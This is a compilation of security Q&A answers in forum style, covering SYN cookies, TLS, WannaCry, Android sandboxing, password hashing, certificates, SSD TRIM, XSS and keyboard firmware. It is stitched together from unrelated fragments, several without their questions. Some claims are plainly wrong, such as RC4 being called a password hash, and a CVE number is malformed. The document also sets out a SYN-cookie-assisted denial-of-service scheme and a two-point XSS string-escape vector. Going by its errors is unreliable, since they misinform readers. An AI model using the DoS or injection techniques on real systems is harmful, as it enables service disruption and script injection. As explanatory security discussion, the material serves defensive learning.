Using SYN cookies to perform a DOS attack

As far as "the Internet" knows, there is no specific attack vector enabled by SYN cookies. The best I could think of is explained below:

First some explanations on SYN cookies (details matter). SYN cookies are a way to mitigate SYN flood attacks.

The gist of SYN floods is that keeping state for an opening connection is expensive (because it uses RAM somewhere). In a SYN flood, the attacker "cheats" by not keeping state: he sends a SYN but forgets it; on the other hand, the server remembers the SYN.

SYN cookies are the server's cheat: it just forgets them too. Instead, it encodes whatever it should remember in the TCP sequence number that it sends in the response to the SYN (an ACK+SYN packet); when a normal client responds to that, it sends its own ACK with the same sequence number (actually incremented by exactly 1), which allows the server to recover the data it did not bother to remember. A TCP sequence number is 32 bits, so the server must fit the "state" within 32 bits. SYN cookies are defined to use 5 bits for a timestamp, 3 bits for the MSS, and 24 bits of "output of a cryptographic function". These 24 bits are really a MAC computed over the server IP address, client IP address, both port numbers (server side and client side), and the timestamp.

A consequence is that when the server receives an ACK which looks like a response to an ACK+SYN (one with a cookie) then the server must consider it as the third element of a TCP handshake, and thus allocate the resources for a now fully open connection. This happens if and only if the cookie value is correct (when the server recomputes it, it matches the value sent in the ACK). The attacker knows the current time and can guess/observe the three-bit encoding for the MSS value, so there are 24 unknown bits. If the cookie value is computed properly (with a cryptographic hash or something equivalent in this situation), then an attacker has only probability one in 16 millions (16777216, precisely) to hit a correct cookie value. This severely limits the possibilities of the attacker.

There has been some discussion on the CPU cost involved in SYN cookie processing. Consider that a basic Core2 x86 CPU will happily compute 8 millions of MD5 hashes per second, using a single core. It will be hard for the attacker to DoS that way (it would require sending more than 8 millions packets per second to that server...).

What can be done is the following:

Attacker sends a normal SYN, then receives the ACK+SYN from the server. The ACK+SYN contains a valid cookie for the source address and port that the attacker used; the cookie is valid for a minute or so (since the timestamp changes typically once every 64 seconds).
Attacker repeatedly sends, using the same source address and port, two packets:

a packet containing a ACK and the cookie obtained above, and also some applicative data (a 'push') which encodes a valid HTTP request;
a second packet which does a RST.

Upon receiving the first packet, the server must assume that it is a valid third packet of a TCP handshake; it then reads the data and processes the HTTP request. While the HTTP server software considers the request (and this can involve considerable resources, especially if the request is a POST and/or requests HTTP-level compression with gzip), the target kernel reads the RST and considers the socket as closing -- the HTTP server will get a write error when it will try to send the HTTP response (but only then, not before).

Since the connection is closing, the source address+port is considered "free" again, so the next ACK+push from the client will be honoured similarly.

The 64000 IP addresses come here as a way for the attacker to "fly under the radar". Repeated connections from a single IP address are likely to be noticed by any half-decent firewall, and blocked early on (before reaching the target Web server). Since the evil admin "owns" 64000 addresses, he can simulate connections from any of the 64000 addresses. The attacker would use a first SYN to get a cookie, then send a hundred or so ACK+push,RST pairs from that address. For increased effect, he would do that with a hundred addresses at a time, regularly getting new ones. He has 64000 addresses to play with, so it will take some time before he has to reuse an address.

In that scenario, the SYN cookies have the following aggravating effect, when compared to the same setup without SYN cookies: they allow the attacker not to wait for an ACK+SYN most of the time. This disables one of the classic countermeasures against DoS, i.e. adding a bit of latency when responding to a SYN.

This is still unconvincing. The SYN cookies, here, do not multiply the attacker's power by a large factor. With 64000 addresses, the attacker could maintain a million open connections (or at least seemingly open, from the server's point of view), with or without SYN cookies, and no Web server will resist that.


TLS_NULL_WITH_NULL_NULL is specified and is the initial state of a TLS
  connection during the first handshake on that channel, but must not be
  negotiated, as it provides no more protection than an unsecured
  connection.

TLS_NULL_WITH_NULL_NULL (TLS 1.1) is used to check if TLS connections are possible, and to simulate a handshake. It can also be used to switch cipher suites, and indicates the start of a new TLS connection. IIRC it is not used much and will been removed later by TLS 1.3 draft.


How does TLS verify a certificate belongs to a domain?

When you perform client certificate authentication, you must posses the private key for the certificate you are sending to server. Private key is used as a part of mutual TLS authentication to sign handshake messages.

If you don't have the right private key, you can't sign TLS handshake messages and client authentication cannot be completed.

If you sign messages with fake private key (which doesn't belong to public key in client certificate), server won't be able to successfully validate the signature against public key you sent along with client certificate.


Why was the NX bit unable to stop WannaCry?

WannaCry first triggered secondary SMB transactions, and then used bugs (uninitialized packet buffers) of srv2.dll to invoke buffer overruns.

NetApi32.dll is capable to bypass NX on some OS versions and service packs (ref, exploit).


Does Android have sufficient app sandboxing?

Each version of Android is incrementally stronger on this front than the previous, and Lolipop certainly pushes application sandboxing a step further than Kitkat, particularly with respect to inter-app isolation.

Third-party "firewall" apps on Android are probably a bit over-hyped, and the level of protection they can offer without rooting is in my opinion a bit questionable. Android does offer some level of device control via the Device Administration API, but it's largly policy stuff, not fine-grain control over app internals.

If your device is rooted, then all bets are pretty much off, and you're on your own. Sandboxing can no longer reasonably be enforced, and it's up to you to manually control execution. Good luck.

For non-rooted devices, app permissions are controlled by the permission set granted at installation. And that permission set is enforced. If an app is malicious and you granted it permission to send SMS messages, then it will be able to maliciously send SMS messages. If it wasn't granted that permission, then it cannot do so.

AppOps allowed these permissions to be updated at runtime, but according to a developer wasn't meant to be a supported feature for general users. The reason is that it breaks stuff. And a feature that breaks everything is, sorta by definition, not supported.

This isn't the end of the story, though. The permissions model is something that the Android team is reportedly paying lots of attention to. They need a solution that (A) doesn't break all the apps, (b) gives the user meaningful control, and (c) is usable by customers with the technical skill set of a gerbil. This isn't nearly as numbingly simple as it sounds, but expect continued attention and progress on this front in the future.


What patterns or practices exist to protect users from site admins deleting the user's information?

The primary solution is exactly what you mentioned. Export or essentially a backup. If you want to retain data you must do it yourself. You might also have to have several methods of backup. Such as a cloud solution and a local solution to ensure if one is tempered with the other remains available.

Of course, if data is tampered or removed you will need a way to import your backed up data. Without the import you can't truly restore the service, only retain what it was.

Alternatively you could run your own storage/DB solution that only allows the service to connect but only be limited to insert and read entries. Most databases allow you to have access schemes that allow just this but prevent update, deletes, truncates, drops, etc. This however would require the user to run their own database. As well as them setting it up correctly. Which might not be ideal if you are looking for a regular end user friendly service. This can be complicated more so with firewalls, NATs, permissions, etc.

Otherwise if someone controls the service and controls the data there is absolutely nothing an end user can do to prevent them from editing/deleting data from it.


How secure is it to store information in Google products

Unless you encrypt all data on the client side, the answer is as easy as: Anything you store with Google is not secure at all, even more so (but not exclusively) if you use third party apps to access the data.

Any app that you use and give access to your Google account can do pretty much anything, from working as you expect to reading and modifying files, or sending your confidential data to someone else. You do not have an easy way of knowing. You'll have to trust the author of that app.

(All of the above is not very particular to Google, however. It applies to every other provider as well.)

As for general security, not only could Google employees in theory read (and modify) any data or deny you access to your data at any time since it's stored on servers that are not under your control (not all Google employees have that level of access, but a considerable number certainly does).
Also, Google will most certainly run automated "data mining scans" over your data. They're a company that makes a living from collecting data and delivering custom-tailored ads as well as selling data (of some more or less unspecified kind) to other companies.
It is not publicly known what methods exactly are applied and what data is collected (anonymized or identifiable) and how much data is stored, nor how exactly it is used. However, it is certain that this is happening (unless they changed their ToS since I last looked, you are agreeing to that, too, by using their service).

In addition to that, Google is an US-based company, and like every US-based company they will deliver your data to governmental agencies without hesitating, and they will neither make this public nor admit to you or to anyone else that they're doing (or have done) it, being bound by what is called "National Security Letter". The nature of a NSL is basically the same as what ordinary blackmailers that are not a governmental agency are doing by telling you "No police, or your child dies".
Except in this case, the threat is something like "Your company shuts down, and you go to jail without trial".


How can Apple claim that a backup of an iPhone made to iCloud is “hackable”/accessible but not the data on the device itself?

According to this other answer to the same thread on Ask Different, it seems that all that is required for an iCloud backup to be accessed is the will and desire of an Apple employee or someone who has breached their system; bold emphasis is mine:

  iCloud uses server-side encryption, not client-side encryption. When
  sending data to the cloud, it gets encrypted on your machine with SSL,
  then decrypted at the iCloud servers, then re-encrypted using an
  encryption key that Apple knows for storage. This means that Apple
  employees have the technical ability to read your data. There may be
  procedural, technical, or policy controls to make this unlikely, but
  the capability is there. That means that if Apple's cloud ever gets
  compromised by a sophisticated attacker, the attacker could
  potentially access all your data. In other words, any data breach or
  accident on Apple's part could potentially expose your data.

Past that, Apple themselves say as much in their official Legal Process Guidelines:

  The following information may be available from iCloud:

  i. Subscriber Information

  When a customer sets up an iCloud account, basic subscriber information such as name, physical address, email address, and
  telephone number may be provided to Apple. Additionally, information
  regarding iCloud feature connections may also be available. iCloud
  subscriber information and connection logs with IP addresses can be
  obtained with a subpoena or greater legal process. Connection logs are
  retained up to 30 days.

  ii. Mail Logs

  Mail logs include records of incoming and outgoing communications such
  as time, date, sender email addresses, and recipient email addresses.
  Mail logs may be obtained with a court order under 18 U.S.C. § 2703(d) or a court order with an equivalent legal standard or a search
  warrant. iCloud mail logs are retained up to 60 days.

  iii. Email Content

  iCloud only stores the email a subscriber has elected to maintain in
  the account while the subscriber’s account remains active. Apple does
  not retain deleted content once it is cleared from Apple’s servers.
  Apple is unable to provide deleted content. Available email content may be provided in response to a search warrant issued upon a showing
  of probable cause.

  iv. Other iCloud Content. Photo Stream, Docs, Contacts, Calendars, Bookmarks, iOS Device Backups

  iCloud only stores content for the services that the subscriber has
  elected to maintain in the account while the subscriber’s account
  remains active. Apple does not retain deleted content once it is
  cleared from Apple’s servers. iCloud content may include stored
  photos, documents, contacts, calendars, bookmarks and iOS device
  backups. iOS device backups may include photos and videos in the
  users’ camera roll, device settings, app data, iMessage, SMS, and MMS
  messages and voicemail. iCloud content may be provided in response
  to a search warrant issued upon a showing of probable cause.

So at the end of the day, an encrypted iDevice (iPhone, iPad, iPod Touch, etc…) is an encrypted iDevice. But most any iDevice  data backed up to Apple’s iCloud is accessible by Apple staff. As to whether that data is shared or viewed is a concept protected by procedures, processes and legal agreements only; technology doesn’t really play much role in protecting that data.


I find rather dubious the idea that EC2 instances being "distributed and anonymous" makes them "fairly secure against man-in-the-middle attacks". This may make the task harder for your arch-enemy who is after you specifically, but it won't make much of a difference against an attacker who just want to harvest passwords in a quite impersonal way.

The only tangible benefit I see is that it would strengthen your near-field link -- typically, against some bad guy using the same Wireless hotspot than you. However, it would be both simpler and more thorough to use your external system (the EC2 nodes) as a generic proxy for all your Web traffic: this is very simple to do with ssh (setup a SOCKS proxy with ssh -D, and configure your browser to use it; PuTTY can also do it). You could also install an HTTP proxy which you contact through HTTPS. Or, even more thorough, tunnel all your traffic through a VPN (see OpenVPN).

Such proxying will not protect you against wide-scale attacks (e.g. MitM enacted through DNS poisoning) but it will give you some protection against low-powered stalkers who perform their villainous felonies only locally. At least it won't harm.

(And Amazon will quite like your scheme, too.)


What is the fastest way to scan all ports of a single machine

Are you explicitly specifying a UDP scan in nmap (-sU)?

I would be surprised if you can get the time down to 3 seconds. Also be aware that using -T5 can cause issues, such as DoS or inaccurate results.

Also be aware that there is no requirement for UDP ports to reply to your packets, which is why UDP scanning is more difficult than TCP.

Ref: https://nmap.org/book/man-port-scanning-techniques.html

Edited to add: Doing a bit more searching I found this question which has some methods to speed up UDP scans, and their drawbacks.


For example,one of the techniques is adding some random messages with the original passwords to prevent rainbow table attack

Making the hash function slower (increasing the work factor) makes it harder to break, but adding a random salt doesn't doesn't make the hash harder to break at all, that's not what it's supposed to do.

What it does is protect two or more users who all have the same password. A hash of the same input will always have the same output - so all the users with the same hash in the database must have the same password. If you crack one, you get them all.

Adding a random salt to each password makes their hashes different, so the rainbow table cracks only one at a time.

  Isn't making password hashing slower using recursion or iteration same as making the login slower for the users?

Yes.

If password verification was a fast hash, attackers can check lots of passwords quickly and find the right one. So hash functions for passwords should be slow to protect against that. And their normal use is a person typing and watching a login screen, waiting half a second, once, is not a bad trade off.

Some are slow by design (bcrypt) and some are slow by doing a fast hash over and over (pbkdf2).

Scrypt is a variant on this idea as well - a hash which makes the calculation take a lot of time, and also makes it take a lot of memory to do - so trying to attack it fast by using multiple computers is expensive.

https://codahale.com/how-to-safely-store-a-password/ discusses this tradeoff with examples.

  Are password hashing techniques made generally secret or open to others.

Generally open. An older hash (now deprecated) was RC4, and that was a proprietary development by the company RSA Security, and never officially released, but it leaked, was confirmed, and widely used anyway.

Common password hashing algorithms (slow) are open:

bcrypt, which was publically released and is used in OpenBSD, which is open source.

or official standards through the Internet Engineering TaskForce (IETF):

RFC 2898 - PBKDF2

Common fast hashing algorithms (used in SSH, IPSEC, TLS) are open standards too, e.g.

RFC 1320 - MD4, 1992
RFC 1321 - MD5, 1992
RFC 3174 - SHA1, 2001
RFC 3874 - SHA224, 2004

and there's also RFC 6234 which says "The United States of America has adopted a suite of Secure Hash Algorithms (SHAs) [..] namely SHA-224, SHA-256, SHA-384, and SHA-512. This document makes open source code performing these SHA hash functions conveniently available to the Internet community.".

Alternatives to PBKDF2 Argon2 and Lyra2 are open source as well.

That's not to say that people can't make proprietary closed hashing algorithms, or base their password hashes on fast algorithms, but [Microsoft makes use of MD5] in Active Directory password hashes, and lots of companies use PBKDF2.

(In fact, I'd be curious to find proprietary hash functions used in popular systems, I can't think that I know of any)


The reason you see that ExtendedKeyUsage list is simply down to the application used by the website linked in your question to dump the textual representation of the certificate.

If you look at the page again you will see a Base-64 encoded representation of the certificate.  Copy and paste it into a file and save it. Dump the textual representation of the certificate with OpenSSL and you'll simply see the following.

Note: If you are running Windows, save it with a .cer or .crt extension and double-click on it.  Windows will display the certificate in a GUI, showing similar information.

$ openssl x509 -noout -text -in StarField.cer
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 0 (0x0)
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, O=Starfield Technologies, Inc., OU=Starfield Class 2 Certification Authority
        Validity
            Not Before: Jun 29 17:39:16 2004 GMT
            Not After : Jun 29 17:39:16 2034 GMT
        Subject: C=US, O=Starfield Technologies, Inc., OU=Starfield Class 2 Certification Authority
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:b7:32:c8:fe:e9:71:a6:04:85:ad:0c:11:64:df:
                    ce:4d:ef:c8:03:18:87:3f:a1:ab:fb:3c:a6:9f:f0:
                    c3:a1:da:d4:d8:6e:2b:53:90:fb:24:a4:3e:84:f0:
                    9e:e8:5f:ec:e5:27:44:f5:28:a6:3f:7b:de:e0:2a:
                    f0:c8:af:53:2f:9e:ca:05:01:93:1e:8f:66:1c:39:
                    a7:4d:fa:5a:b6:73:04:25:66:eb:77:7f:e7:59:c6:
                    4a:99:25:14:54:eb:26:c7:f3:7f:19:d5:30:70:8f:
                    af:b0:46:2a:ff:ad:eb:29:ed:d7:9f:aa:04:87:a3:
                    d4:f9:89:a5:34:5f:db:43:91:82:36:d9:66:3c:b1:
                    b8:b9:82:fd:9c:3a:3e:10:c8:3b:ef:06:65:66:7a:
                    9b:19:18:3d:ff:71:51:3c:30:2e:5f:be:3d:77:73:
                    b2:5d:06:6c:c3:23:56:9a:2b:85:26:92:1c:a7:02:
                    b3:e4:3f:0d:af:08:79:82:b8:36:3d:ea:9c:d3:35:
                    b3:bc:69:ca:f5:cc:9d:e8:fd:64:8d:17:80:33:6e:
                    5e:4a:5d:99:c9:1e:87:b4:9d:1a:c0:d5:6e:13:35:
                    23:5e:df:9b:5f:3d:ef:d6:f7:76:c2:ea:3e:bb:78:
                    0d:1c:42:67:6b:04:d8:f8:d6:da:6f:8b:f2:44:a0:
                    01:ab
                Exponent: 3 (0x3)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                BF:5F:B7:D1:CE:DD:1F:86:F4:5B:55:AC:DC:D7:10:C2:0E:A9:88:E7
            X509v3 Authority Key Identifier:
                keyid:BF:5F:B7:D1:CE:DD:1F:86:F4:5B:55:AC:DC:D7:10:C2:0E:A9:88:E7
                DirName:/C=US/O=Starfield Technologies, Inc./OU=Starfield Class 2 Certification Authority
                serial:00

            X509v3 Basic Constraints:
                CA:TRUE
    Signature Algorithm: sha1WithRSAEncryption
         05:9d:3f:88:9d:d1:c9:1a:55:a1:ac:69:f3:f3:59:da:9b:01:
         87:1a:4f:57:a9:a1:79:09:2a:db:f7:2f:b2:1e:cc:c7:5e:6a:
         d8:83:87:a1:97:ef:49:35:3e:77:06:41:58:62:bf:8e:58:b8:
         0a:67:3f:ec:b3:dd:21:66:1f:c9:54:fa:72:cc:3d:4c:40:d8:
         81:af:77:9e:83:7a:bb:a2:c7:f5:34:17:8e:d9:11:40:f4:fc:
         2c:2a:4d:15:7f:a7:62:5d:2e:25:d3:00:0b:20:1a:1d:68:f9:
         17:b8:f4:bd:8b:ed:28:59:dd:4d:16:8b:17:83:c8:b2:65:c7:
         2d:7a:a5:aa:bc:53:86:6d:dd:57:a4:ca:f8:20:41:0b:68:f0:
         f4:fb:74:be:56:5d:7a:79:f5:f9:1d:85:e3:2d:95:be:f5:71:
         90:43:cc:8d:1f:9a:00:0a:87:29:e9:55:22:58:00:23:ea:e3:
         12:43:29:5b:47:08:dd:8c:41:6a:65:06:a8:e5:21:aa:41:b4:
         95:21:95:b9:7d:d1:34:ab:13:d6:ad:bc:dc:e2:3d:39:cd:bd:
         3e:75:70:a1:18:59:03:c9:22:b4:8f:9c:d5:5e:2a:d7:a5:b6:
         d4:0a:6d:f8:b7:40:11:46:9a:1f:79:0e:62:bf:0f:97:ec:e0:
         2f:1f:17:94

This is what should be expected - no KeyUsage or ExtendedKeyUsage

A root CA certificate shouldn't really contain any extensions (other than optionally SubjectKeyUsage and AuthorityKeyUsage used to help chain building) as it limits what the certificate can be used for during the whole of its long lifetime.  Such limitations should be added at the subordinate CA level.

As you stated in your question, the  ExtendedKeyUsage is for the particular certificate, not for the chain (unlike policy and name constraints).


How can I know when a certificate was created?

Heartbleed has pretty little relation with certificates. The only link is that a potential consequence of a successfully exploited heartbleed is a reveal of the SSL server private key. Therefore you might want to go to full paranoia mode and consider that any private key which was used in a vulnerable server is toast and must be replaced. This is quite extremist, and somehow misses the point because the same argument applies to every single remotely exploitable buffer overflow ever discovered in the server, and there are several of them each year; singling out the "heartbleed" bug is unwarranted.

Now a certificate contains two "validity dates", called notBefore and notAfter. Usually, the notBefore date is close to the date at which the certificate was actually issued, i.e. when the CA signed it. Normally, the notBefore date is slightly in the past because the CA wants to produce a certificate that the owner can immediately use even if his machines' clocks are not accurate. For instance, Microsoft's CA ("Certificate Services"), by default, will write "14:35" as notBefore time if the certificate was really issued at 14:45. Other CA may go further; I know of one CA which systematically used midnight (from the previous night) as notBefore time.

But you must note that this date qualifies the date of issuance of the certificate, not of the key. It is relatively common to "renew" a certificate by issuing a new certificate (with new validity dates) containing the same public key and identity as in a previous certificate. For the "heartbleed exploit" scenario above, you worry about whether the potentially leaked private key was discarded and regenerated or not. Nothing in the certificate contents will tell you anything about the time at which the private key was created (well, the private key existed before the certificate, but maybe long before, or maybe not; the certificate contents won't tell).

Let's get a bit more real here. Heartbleed is just one more potentially exploitable bug in an implementation; this is not the first one, and not the last one. Probability that any given server was exploited between the time the bug was discovered, and the time the server's code was fixed, is extremely low on average. The bug became all the rage overnight, but was not observed in the wild before.


Lost in a field of Degrees and certifications

I am in a similar Situation, about to get my first cert, and doing an internship right now.

If you'd like to take online classes related to Cyber Security I can recommend Dakota State University. I am a student there and while the campus/school are relatively small the classes are awesome.

The School is known for it's great program and does a great job at balancing hands on experience with lectures (at least in my opinion).

Here is some info on my Major (It's called Cyber Operations, but that's just a fancy word for Computer Security mixed with Computer Science).

DSU Cyber Operations

One main PRO about DSU is that it's part of the NSA funded program called Cyber Core, which is a crazy good scholarship for students just like yourself. Another PRO is that it's a great place to network. Most Professors and Instructors are ether very experienced in their field and one of my instructors even works for the NSA (Great guy, don't even care if he reads my FB messages). This is my second internship and I have to say I would never have thought that I could get this far solely on the connections I made through Teachers and mentors here.

If you want some more info feel free to contact me, I'd be glad to tell you more about it!


Why do you need to close your browser window after logging out of a website?

After a bit of searching, it seems some banks are giving this advice following an attack on a bank that allowed users or malicious websites to reuse persistent cookies after a user had logged out, allegedly because other browser tabs were left open on the site in question and so the browser had not cleared the cookies yet.

The reason such a vulnerability would be possible indicates either of the two following security mechanisms has failed:

The browser had not imposed a strict same-origin policy between sites, allowing a third-party site to access your bank site's cookies (OR for shared computers, you left a tab open and that tab was used by an untrusted third-party user)
The bank website has not, or incorrectly, invalidated your cookies as it has logged you out

As far as I'm concerned, I can already conclude that this "advice" is security theater used by some websites to reject their own responsibilities onto users. Which is, obviously, very wrong as it incentivises users to waste effort and time applying silly measures instead of actually fixing the problem where it occurs.

Websites have two duties when logging a user out, according to OWASP:

Invalidate the user state on the server's side, which will prevent any client query being replayed or crafted
Invalidate the session cookie (as well as cookies that contain information normally accessible only to users authenticated on the website, for web apps) on the browser, to ensure no information remains available for the next user of the client browser
Websites can even go a bit further and ensure that all open tabs on a device are refreshed on user logout. This can even remove the need for users to ensure they closed all their tabs behind them.

Thus, in a world where website developers respect their duties, there should be no basis for following such silly advice. And if websites don't, they're likely to be liable for not taking the necessary means to protect users' personal data.


Public key for SSH over the internet differs from a key for SSH over the LAN

The weird thing is that I get a different key when accessing the Pi over the internet instead of via LAN:

Manual page for sshd describes format of your known_hosts file:

SSH_KNOWN_HOSTS FILE FORMAT
Each line in these files contains the following fields: markers (optional), hostnames, [...].  The fields are separated by spaces.

Se we got to the first answer. The first field is hostname, which is obviously different when you connect from outside or from inside, as proposed in your question.
Further we can read

Alternately, hostnames may be stored in a hashed form which hides host names and addresses should the file's contents be disclosed.  Hashed hostnames start with a ‘|’ character.  Only one hashed hostname may appear on a single line [...]

Yes, your hostnames/ip addresses are hashed.

But when I ssh into my Pi and execute the same command [...]

The new versions are using SHA-256 hashes instead of the obsolete MD5. You can force the new version to generate you the old fingerprint using:
ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ecdsa_key.pub

Conversion between these two formats are possible, but not useful. Using ssh-keygen directly as I proposed above is advised solution.
You can generate fingerprint from public key stored in your known_hosts file somehow like this:
ssh-keygen -l -f <( ssh-keygen -H -F 192.168.1.92 | tail -n 1 | cut -d" " -f 2,3)


Spam GET And POST Requests - Are They Dangerous?

No vulnerabilities are typically not shared across different software or hardware platforms or even different versions of the affected software. What you posted appears to be a precursor or exploitation attempt for CVE-202-25078, a D-LINK router vulnerability. Typically any IP address on the internet receives a lot of nuisance traffic trying to collect information that once lived on that IP address, looking for proxy servers, guessing passwords or various exploits. Many of which come from botnets that take no care to determine if what they are targeting may in fact be something suitable to send the traffic to. This is normal internet background traffic and not a threat to your server.


There is an OpenPGP standard for encrypting and signing email so that you can provide, confidentiality, integrity and authentication towards the person who is reading your email.


Is Windows 10's TRIM implementation secure

Just quickly addressing some broken premises in the introduction of this question. These will form the basis of an answer, which can be best summarised by the following: it depends...

... and unfortunately it can't just depend your storage device (though that is central to the discussion); it also depends upon various factors such as your OS (e.g. Windows 7 doesn't support TRIM for PCIe SSDs) and BIOS information (for some SSDs), and could even extend to the rest of your architecture (e.g. CPU, RAM, storage controller) as other components of your system might leak data from the file system.

  In terms of data deletion everyone knows that once you delete something from your harddisk it stays there, and is recoverable, until it is overwritten.

According to a publication by the Trusted Computing Group dated October 1, 2011:

  Within 2 years (by 2013) SED capability will be in over 80 percent of SSDs and likely in almost all SSDs within 3 years (2014).
  By 2017, almost all HDDs will include SED capability.
  By 2016 the high, median and low estimates for security adoption for SED HDDs are 411 million, 315 million and 122 million units.

Assuming these expectations have been met, one might have a very difficult time indeed recovering any data from a self-encrypted device following a modification to the key. To emphasise, the best solution for secure erasure of these newer encryption-supporting devices (both rotational and solid-state) is changing the encryption key, as opposed to...

  With classical spinning harddrives, the best solution was to overwrite the entire drive, several times, with random data.

Even then, by examining the physical media of a newly produced, unused product compared to a used product, a forensic analyst could quite possibly draw conclusions based on slight residual leftovers. This kind of attack has been demonstrated quite publicly using volatile RAM (such as that which exists as cache memory in disk drives), so it's likely to work for the non-volatile stuff (such as flash memory), too. The security of an entire system is, after all, limited to the weakest link, which might not be the drive in question.

I imagine there are the following complications to extracting information from the drive alone:

Encryption. We've already established that current drives (whether rotational or solid-state) are likely encrypted (transparently to external devices), and this is likely to impact upon success rates. If the key can be extracted from the device (which I imagine would be quite a bit more difficult than extracting keys from SIM cards, given how far we've advanced since the introduction of those), perhaps a forensic analyst could piece together some data. However, it seems manufacturers are keeping their precise encryption specifications in-house, so obtaining the required information (such as where exactly the key is stored) could be difficult.
Wear leveling. The Achilles heal of the solid state storage, as it seemed initially; wear leveling was designed to distribute writes evenly across a drive, but there are multiple forms of this. All of them leave stale data, which is a double-edged sword as that data will indeed exist for all of time, unerasable, though likely to complicate the integrity of recovered data. Additionally, TRIM was not designed as a security feature, but a garbage collection feature; it exists to facilitate data reorganisation, perhaps at a later date. Part of the analysts job would be reversing the reorganisation which the GC might perform and excluding any bad flash cells (again, akin to extracting keys from a SIM card, but likely more difficult due to progress in technology). I don't imagine this would be a particularly easy job; it'd also involve some amount of data deduplication to recognise when and where data has been relocated in some instances.

These points are mentioned in another paper, dated 2014, where the entire article seems to paint a dire picture for our theoretical data recovery Scenario.

On the one hand, this article mentions the existence of bugs which might aid in recovery. On the other hand:

  Self-encrypting SSD drives require a different approach altogether, while SSD drives using compressing controllers cannot be practically imaged with off-chip acquisition hardware. ...
   And even shutting the affected computer down immediately after a destructive command has been issued, does not stop the destruction. Once the power is back on, the SSD drive will continue wiping its content clear all by itself, even if installed into a write-blocking imaging device. If a self-destruction process has already started, there is no practical way of stopping it unless we’re talking of some extremely important evidence, in which case the disk accompanied with a court order can be sent to the manufacturer for low-level, hardware-specific recovery.

The emphasis here was not mine. As mentioned in the comments, Windows does not control the erasure and/or reorganisation of data; that happens within the drive itself, and it starts happening the moment the device is powered up.

  Some SSD drives implement what is called Deterministic Read After Trim (DRAT) and Deterministic Zeroes After Trim (DZAT), returning all-zeroes immediately after the TRIM command released a certain data block, while some other drives do not implement this protocol and will return the original data until it’s physically erased with the garbage collection algorithm.

In summary, based on this information, I would not feel so confident recovering data from a system built by someone who has shopped around to find the least recovery-friendly configuration. However, data recovery from a typical impulse buy might be more successful. Might.


XSS in a variable assignment when " are escaped

No, not given the filter behavior you specified.

You need double quotes (") to exit the JS string context.

You need angle brackets (<>) to exit the <script> tag which I presume surrounds the code.

You can use a backslash (\) at the end of the string to escape the closing quote, however you'd need another injection point on the same line to do anything useful with that. Otherwise you're unable to close the string you've now kept open, and the JS parser will throw a syntax error, implying it does not execute any part of the script.
Here is how an attack would work with two injection points.
Code:
var test="hello"; var test2="stranger";

Vectors:
          \                  ;alert()//

Result:
var test="\"; var test2=";alert()//";
         |--------------|        |--|
       one continuous string    comment


Is XSS dangerous in application without database?

Very wrong, the basic form of XSS is Reflected XSS, where the payload is sent in the URL (for example) from the victim himself.
This is most commonly used in phishing attacks, where the attacker crafts the malicious link, and mails it in social engineering attacks to his victims, or posts it on public forums, etc.
In general XSS has nothing to do with database (unless it's Persistent / Stored XSS).

See XSS on OWASP for more details.


Using public/private key without signed certificate

With SSL, the client must use the server's public key, and it must have a way to make sure that it is using the right server key, not a fake one sent by some attacker on the network path. That's what certificates are about. If you cannot trust the information in the server's certificate, then... you cannot trust it, and you lose.

If you know the server's public key in advance, and can hardcode it in the client code, then you actually trust it, and that's fine (although not very flexible). A hardcoded server certificate value is, in fact, a very reduced PKI.


tl/dr: If you have a read-only endpoint that only serves
public data, then don't bother to try to secure it further.  It's not
worth the time, and is impossible to do anyway.

You have a few misunderstandings here that are worth addressing.
It's not about blocking connections from outside your server
You're trying to make it so that your API endpoints only respond to your SPA.  However, that is not the same thing as limiting connections only to your server.  The reason is because your react app doesn't run on your server - it runs in the user's browser.  Your server sends the React app to the client, which runs in their browser.  As a result the API calls come not from your server but from your users' web browsers, potentially located around the world.
Of course the browser will helpfully send up the Origin header, letting you know that the request is being made on behalf of JavaScript that was hosted on your domain.  As you note though this definitely can be spoofed, as any non-browser client can easily send up whatever Origin they want.  In fact, every single aspect of the HTTP request can be spoofed by the client.
Therefore you want to block requests not coming from your app
Unfortunately for you this is quite literally impossible.  You can take steps to make it harder, but since the app runs on the client's machine, a sufficiently dedicated adversary would be able to reverse engineer any and all parts of it until they learn how your protection works and could then reproduce it wherever they want.  In essence, you are asking how to implement DRM.
While you certainly could try to implement some steps to make it harder for someone to make API requests to your server from outside of your app, in your particular use case it is highly unlikely that this would be worth the effort (especially for a demo app).
For broader context, if I were looking at a demo app of a candidate and saw that they implemented some ad-hoc DRM solution to try to keep people out of an otherwise anonymous endpoint, then I personally wouldn't consider this a good thing.  The most important part of security is learning to balance the risks and benefits, since any security measure inherently has some cost (if only the cost to develop it).  In particular any time spent implementing security features takes time away from feature development.  Most companies screw up by spending no time on security and more time on features, but there is an opposite side of that coin too.  Taking time to try to secure an endpoint in a way that cannot actually be done effectively is a poor way to spend time when there are always more features to implement!  Note, I don't say this to criticize your question or your thought process (which demonstrate a lot of forward thinking!), but rather to help you understand the broader "landscape" that you find yourself in.
Summary
In short, if you have a read-only endpoint that only serves public data, then don't bother to try to secure it further.  It's not worth the time, and is impossible to do anyway.


Can I use the same keyboard on both my infected and non-infected computers?

An USB device necessarily has some circuitry to implement the USB protocol: enough to identify itself as a keyboard, negotiate some current to draw from the host, and send key press/release events. This means that there is, in the keyboard, some skeletal CPU with its software (often dubbed "firmware"). Correspondingly, this is potentially hackable.

In particular, some keyboards have upgradable firmwares, so some malware on a machine could send a malicious upgrade to the keyboard, contaminating it permanently. This has been demonstrated for an Apple keyboard (not a gaming keyboard with an open API for running custom application, just a regular keyboard): a malicious firmware upgrade which embeds a keylogger in the keyboard itself. The really nasty part of the demo is that a firmware upgrade, by nature, is written to some sort of permanent storage (EEPROM or Flash), so it will resist poweroff states.

Conversely, if a keyboard firmware is not upgradable, then it probably is incapable (physically) of retaining any altered data when power is cut. Such a keyboard would be safe to exchange between an infected and a non-infected machines -- as long as it is not a wireless keyboard, because these ones have batteries.

However, how would you know if your keyboard firmware can be reflashed ? It is rarely documented...

Probability of keyboard-transmitted infection is still low; I have not heard of any case beyond the Apple keyboard demo. However, you've been warned.


The easiest thing to do, if you cannot use the phone, is to simply change the Gmail password and unlink the device from your Google account.

